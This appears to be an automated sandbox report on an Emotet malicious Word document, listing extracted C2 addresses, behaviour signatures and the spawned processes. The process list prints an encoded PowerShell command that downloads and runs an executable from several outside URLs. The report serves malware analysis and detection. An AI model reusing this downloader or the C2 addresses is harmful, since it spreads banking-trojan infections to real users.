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Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    150s
  • max time network
    149s
  • resource
    win7

Sharing

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General

  • Target

    Docs_129a4380ebaff7cfc82bfe05e7d282ff.8

  • Sample

    191016-9xv6d8j3as

  • SHA256

    012987f43b78cbbd7648fd8fbd4660423486e120f0a42cb155b0169a1f928e45

Score
N/A

Malware Config

Extracted

Family

emotet

C2

181.59.253.20:21

14.160.93.230:80

74.208.68.48:8080

104.131.58.132:8080

68.183.190.199:8080

62.75.143.100:7080

159.203.204.126:8080

151.80.142.33:80

123.168.4.66:22

46.28.111.142:7080

46.101.212.195:8080

183.82.97.25:80

190.10.194.42:8080

217.199.160.224:8080

186.1.41.111:443

185.86.148.222:8080

185.187.198.10:8080

200.57.102.71:8443

114.79.134.129:443

80.85.87.122:8080
rsa_pubkey.plain

Signatures

  • Suspicious behavior: AddClipboardFormatListener
  • Suspicious use of SetWindowsHookEx
  • Drops Office document 5 IoCs
    dropperexploitermaldoc
  • Drops file in system dir 8 IoCs
  • Modifies registry class 1 TTPs 280 IoCs
    persistence
  • Suspicious use of FindShellTrayWindow
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses
  • Uses Task Scheduler COM API 1 TTPs 12 IoCs
    persistence
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Executes dropped EXE
  • Emotet Sync 1 IoCs
    trojanbanker
  • Suspicious behavior: EmotetMutantsSpam
  • Loads dropped DLL
  • emotet family
    family

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_129a4380ebaff7cfc82bfe05e7d282ff.8.doc"
    1⤵
    • Drops Office document
    • Drops file in system dir
    • Modifies registry class
    PID:1116
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABPAEQARABCAEEARwBRAEEANABBADEAQQBBAD0AJwBBAHcAQQBCAEMAeABBAEcARwBBACcAOwAkAEIAQQBBAFgAVQBfAHgAdwAxACAAPQAgACcANQAwADYAJwA7ACQAVwBBADQAQQBBAEEAQwBCAEQAXwBCAFEAPQAnAFUAawBBAEQAMQB3AGMAXwAnADsAJABVAEQAVQBjAF8AQQBBADEAQQBfAEEAMQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQgBBAEEAWABVAF8AeAB3ADEAKwAnAC4AZQB4AGUAJwA7ACQAVABDAEEAWgBBAEcAVQBBAD0AJwBKAEMAXwBBAEEAVQB4AEIAQQBRAEIAUQAnADsAJABSAHgAVQBBAEEANABVAHcAUQBBAEEAQQB3AD0ALgAoACcAbgBlACcAKwAnAHcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdAAuAFcARQBiAEMAbABJAEUATgBUADsAJABDAEEAWgAxAFUANABBAEIARwBfAEEAQQBBAD0AJwBoAHQAdABwAHMAOgAvAC8AeQBvAHUAcgBnAHAAcwBoAGUAbABwAGUAcgAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdgBoADYAMgAyADgANAAwADAALwAqAGgAdAB0AHAAcwA6AC8ALwBrAHkAbwBrAHUAcwBoAGkAbgBtAGkAZABkAGwAZQBlAGEAcwB0AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZAA0AGgAbwBiAHMAOAA4ADkALwAqAGgAdAB0AHAAcwA6AC8ALwB0AGEAbQBhAGsAbwBzAGgAaQBzAGEAbgBjAGgAYQByAC4AYwBvAG0ALwBoAHQAaAB6ADkAMQAvAGsANgBpAGwAeQBjAHgAMwA1ADMALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBiAGUAcgBnAGEAbQBhAGUAZwBlAHMAbwBuAGQAYQBqAC4AYwBvAG0ALwAxAHQAMgAwADEAMQAxAHkANgAzAC8AaQBjADUANQAwADEALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG8AcgBnAGEAbgBpAHoAZQByAHMAbwBuAGQAZQBtAGEAbgBkAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8ANgB2AHQAZAA3ADMAMAA0AC8AJwAuACIAcwBwAEwAYABpAFQAIgAoACcAKgAnACkAOwAkAEcAUQBDAEQAWAB3AFEAVQBCAFEAQQBCAGsAPQAnAFMAQQBBAEIAQQBHAG8ARwBaAEEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkAeAB4ADEAXwBCAEEAdwBBAEEAQQAgAGkAbgAgACQAQwBBAFoAMQBVADQAQQBCAEcAXwBBAEEAQQApAHsAdAByAHkAewAkAFIAeABVAEEAQQA0AFUAdwBRAEEAQQBBAHcALgAiAEQAYABvAFcATgBsAGAATwBhAGQARgBpAGAATABFACIAKAAkAFkAeAB4ADEAXwBCAEEAdwBBAEEAQQAsACAAJABVAEQAVQBjAF8AQQBBADEAQQBfAEEAMQApADsAJABLAEIAQQBaAEMAUQBjAEEAbwA9ACcATgBjAGMAYwBEAEEAQwBBACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAVQBEAFUAYwBfAEEAQQAxAEEAXwBBADEAKQAuACIAbABgAEUAbgBnAGAAVABIACIAIAAtAGcAZQAgADIANQAzADYANgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABhAFIAdAAiACgAJABVAEQAVQBjAF8AQQBBADEAQQBfAEEAMQApADsAJABZAFUAQQB3AFUAMQBEAG8APQAnAEgAeABVAEIAQQBBAEQAQQBBACcAOwBiAHIAZQBhAGsAOwAkAFoAeAAxAEIAQQBVAFEAQQBCAGsAQQA9ACcAWABBAEEAVQBBAFUAbwBjADEAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgA0AFUAMQBvAEIAVQBrAFUAPQAnAFIAXwBBAGMANAA0AEEAbwBEAEcARABrAEcAJwA=
    1⤵
    • Drops file in system dir
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1212
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "-681491697-7187468469199196-10401541551318071804-1362890075-5166471162047007008"
    1⤵
      PID:1940
    • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
      "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
      1⤵
      • Uses Task Scheduler COM API
      PID:1380
    • C:\Users\Admin\506.exe
      "C:\Users\Admin\506.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1864
    • C:\Users\Admin\506.exe
      --dec73219
      1⤵
      • Drops file in system dir
      • Emotet Sync
      PID:1172
    • C:\Windows\SysWOW64\loadarouter.exe
      "C:\Windows\SysWOW64\loadarouter.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:332
    • C:\Windows\SysWOW64\loadarouter.exe
      --f7a216da
      1⤵
      • Drops file in system dir
      • Suspicious use of WriteProcessMemory
      PID:448
    • C:\Windows\SysWOW64\dH3LhgPqbUeudpUn.exe
      "C:\Windows\SysWOW64\dH3LhgPqbUeudpUn.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:932
    • C:\Windows\SysWOW64\dH3LhgPqbUeudpUn.exe
      --1283fa17
      1⤵
      • Drops file in system dir
      PID:280
    • C:\Windows\SysWOW64\loadarouter.exe
      "C:\Windows\SysWOW64\loadarouter.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:188
    • C:\Windows\SysWOW64\loadarouter.exe
      --f7a216da
      1⤵
        PID:1404

      Network

      MITRE ATT&CK Enterprise v16

      Replay Monitor

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      Downloads

      • memory/188-25-0x00000000004F0000-0x0000000000507000-memory.dmp

        Filesize

        92KB

        Download

      • memory/280-22-0x0000000000290000-0x00000000002A7000-memory.dmp

        Filesize

        92KB

        Download

      • memory/280-23-0x0000000000400000-0x000000000049F000-memory.dmp

        Filesize

        636KB

        Download

      • memory/332-12-0x00000000003D0000-0x00000000003E7000-memory.dmp

        Filesize

        92KB

        Download

      • memory/448-15-0x0000000000400000-0x000000000049F000-memory.dmp

        Filesize

        636KB

        Download

      • memory/932-19-0x0000000000310000-0x0000000000327000-memory.dmp

        Filesize

        92KB

        Download

      • memory/1116-4-0x0000000006423000-0x0000000006427000-memory.dmp

        Filesize

        16KB

        Download

      • memory/1116-3-0x0000000005CDF000-0x0000000005D88000-memory.dmp

        Filesize

        676KB

        Download

      • memory/1116-2-0x0000000006423000-0x0000000006427000-memory.dmp

        Filesize

        16KB

        Download

      • memory/1116-0-0x0000000006300000-0x0000000006304000-memory.dmp

        Filesize

        16KB

        Download

      • memory/1116-1-0x0000000006423000-0x0000000006427000-memory.dmp

        Filesize

        16KB

        Download

      • memory/1172-10-0x0000000000400000-0x000000000049F000-memory.dmp

        Filesize

        636KB

        Download

      • memory/1404-27-0x00000000003B0000-0x00000000003C7000-memory.dmp

        Filesize

        92KB

        Download

      • memory/1404-28-0x0000000000400000-0x000000000049F000-memory.dmp

        Filesize

        636KB

        Download

      • memory/1864-6-0x0000000000230000-0x0000000000247000-memory.dmp

        Filesize

        92KB

        Download